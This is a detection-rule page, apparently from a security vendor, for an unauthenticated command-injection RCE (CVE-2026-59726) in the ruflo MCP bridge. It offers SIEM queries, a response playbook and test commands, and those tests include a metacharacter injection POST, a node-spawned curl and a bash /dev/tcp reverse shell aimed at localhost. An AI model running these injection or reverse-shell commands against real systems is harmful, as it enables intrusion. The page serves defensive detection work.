Detect ruflo MCP Bridge Unauthenticated RCE (CVE-2026-59726) in Sumo Logic CSE
Detects exploitation of CVE-2026-59726, an unauthenticated remote code execution vulnerability in the ruflo (ruvnet/ruflo) MCP bridge when deployed via the default Docker Compose configuration. Versions prior to 3.16.3 expose the MCP bridge endpoint without authentication (CWE-306) and pass attacker-controlled parameters into OS command execution (CWE-78), compounded by insecure default configuration (CWE-942). An unauthenticated attacker reaching the exposed bridge port can execute arbitrary OS commands in the container context. This detection surfaces the inbound exploitation requests to the MCP bridge, the resulting child-process spawns under the Node.js/ruflo runtime, and anomalous outbound/egress activity that follows command injection.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
// df00tech DF00-5f17756e81 · https://df00tech.com/detections/CVE-2026-59726 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* OR _sourceCategory=*proxy*
| parse regex "(?<method>GET|POST|PUT|DELETE)\s(?<uri>\S+)" nodrop
| where (uri matches "*/mcp*" or uri matches "*/bridge*" or uri matches "*/tools/call*" or uri matches "*/invoke*")
| where method in ("POST","PUT")
| where uri matches "*child_process*" or uri matches "*exec*" or uri matches "*spawn*" or uri matches "*;*" or uri matches "*$(*" or uri matches "*`*"
| count by src_ip, uri, method
| sort by _count Aggregates inbound ruflo MCP bridge requests carrying command-execution indicators by source IP.
Data Sources
Required Tables
False Positives & Tuning
- Vulnerability scanners enumerating the bridge.
- Legitimate MCP tool calls with complex arguments.
- CI/CD pipelines exercising the bridge API.
Other platforms for CVE-2026-59726
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate unauthenticated MCP bridge command injection request
Expected signal: Web/proxy log entry: POST /mcp/tools/call with payload containing shell metacharacters on port 3000.
- Test 2 Simulate injected shell child process under node runtime
Expected signal: Process-creation event: /bin/sh and curl spawned with parent process node.
- Test 3 Simulate reverse-shell pattern following bridge request
Expected signal: Process event showing bash -i with /dev/tcp redirection spawned by node.
References (8)
- https://github.com/ruvnet/ruflo/security/advisories/GHSA-c4hm-4h84-2cf3
- https://nvd.nist.gov/vuln/detail/CVE-2026-59726
- https://github.com/ruvnet/ruflo/pull/2521
- https://github.com/ruvnet/ruflo/commit/d00a0a40cd8bdbca877ac7f675f416bdc69accd1
- https://github.com/ruvnet/ruflo/blob/main/v3/docs/adr/ADR-166-mcp-bridge-unauthenticated-rce-remediation.md
- https://github.com/ruvnet/ruflo/releases/tag/v3.16.3
- https://github.com/advisories/GHSA-c4hm-4h84-2cf3
- https://www.exploit-db.com/exploits/52705
Response Playbook
Triage
- Confirm the affected host/container is running ruflo < 3.16.3 (check package.json / `npm ls ruflo` or the container image tag) and whether the MCP bridge port (default 3000/3001/8080/8811) is exposed beyond the host.
- Review the inbound request(s) that triggered the alert: extract the source IP, the full request body/query, and confirm whether shell metacharacters or command-execution keywords (child_process, exec, spawn, /bin/sh) are present.
- Correlate the bridge request timestamp with process-creation telemetry on the host to determine whether a child shell/network process was spawned under the node/ruflo parent within 2 minutes.
- Determine whether the bridge is actually unauthenticated in this deployment (default Docker Compose) and whether the request received an HTTP 200 (successful tool invocation).
Containment
- Block the attacker source IP(s) at the perimeter/WAF and restrict the MCP bridge port to localhost or an authenticated reverse proxy.
- Isolate or stop the affected container and remove it from load-balancer rotation to halt active command execution.
- Upgrade ruflo to >= 3.16.3 and redeploy; verify the MCP bridge now enforces authentication per ADR-166.
Evidence Collection
- Capture the full web/proxy access logs and request bodies for all requests to the bridge paths from the suspect source IP.
- Collect process-creation logs, container runtime logs (`docker logs`), and any files written to /tmp or the app working directory during the exploitation window.
- Snapshot the container filesystem and memory before rebuilding to preserve forensic artifacts (dropped payloads, modified configs, added cron/ssh keys).
Escalation Criteria
- !Escalate to IR if a child process executed outbound network commands (curl/wget to unknown hosts, reverse shell indicators) following the bridge request.
- !Escalate if evidence of persistence (new users, cron jobs, SSH keys, modified startup scripts) or lateral movement from the container is found.
- !Escalate if the exposed bridge is internet-reachable and received successful (HTTP 200) injection requests from external IPs.
Investigation Guide
Forensic Artifacts
- >
Web/proxy access logs showing POST/PUT to /mcp, /bridge, /tools/call with metacharacters. - >
Container runtime (docker) logs and process-creation events showing shell children of node/ruflo. - >
Dropped files in /tmp, modified crontabs, new SSH authorized_keys, or outbound connection logs from the container.
Tuning Guidance
Baseline the legitimate child processes that your ruflo automation spawns (some MCP tools legitimately invoke shells) and allowlist those exact command patterns. Scope the web-log query to the actual bridge port(s) your Docker Compose maps. If the bridge is internal-only behind an authenticated proxy, raise the keyword threshold or require correlation with a child-process spawn to reduce noise from scanners.
Hunting Queries
Hunt for shell/network child processes spawned by the ruflo node runtime and for repeated bridge probing by source IP.
// df00tech DF00-5f17756e81 · https://df00tech.com/detections/CVE-2026-59726 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node","npm","npx") | where FileName in~ ("sh","bash","curl","wget","nc","python3") | project TimeGenerated, DeviceName, InitiatingProcessCommandLine, ProcessCommandLine | order by TimeGenerated desc ``` df00tech DF00-5f17756e81 · https://df00tech.com/detections/CVE-2026-59726 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/mcp*" OR uri_path="*/bridge*") (http_method=POST OR http_method=PUT) | stats count values(uri_query) by src_ip | sort - count Atomic Red Team Tests
Sends a crafted POST request to the ruflo MCP bridge path with shell metacharacters to trigger the inbound-request detection (lab target only).
Command
curl -s -X POST http://127.0.0.1:3000/mcp/tools/call -H 'Content-Type: application/json' -d '{"tool":"exec","args":"; id; uname -a"}' Cleanup
rm -f /tmp/ruflo_atomic_test.out 2>/dev/null || true Expected Telemetry
Web/proxy log entry: POST /mcp/tools/call with payload containing shell metacharacters on port 3000.
Expected Detection
The kql/spl inbound-request queries fire on the POST to the bridge path carrying command-execution indicators.
Spawns a shell and outbound network command as a child of a node process to emulate post-injection command execution.
Command
node -e "require('child_process').spawn('/bin/sh',['-c','curl -s http://127.0.0.1:9/atomic || true'],{stdio:'inherit'})" Cleanup
pkill -f 'curl -s http://127.0.0.1:9/atomic' 2>/dev/null || true Expected Telemetry
Process-creation event: /bin/sh and curl spawned with parent process node.
Expected Detection
The crowdstrike_cql and elastic_eql queries detect the shell/network child process under the node parent.
Emulates a classic reverse-shell command injected via the bridge to validate command-injection child-process detection.
Command
node -e "require('child_process').exec('bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &')" Cleanup
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null || true Expected Telemetry
Process event showing bash -i with /dev/tcp redirection spawned by node.
Expected Detection
The KQL child-process branch and CrowdStrike query match on bash -i /dev/tcp spawned under node.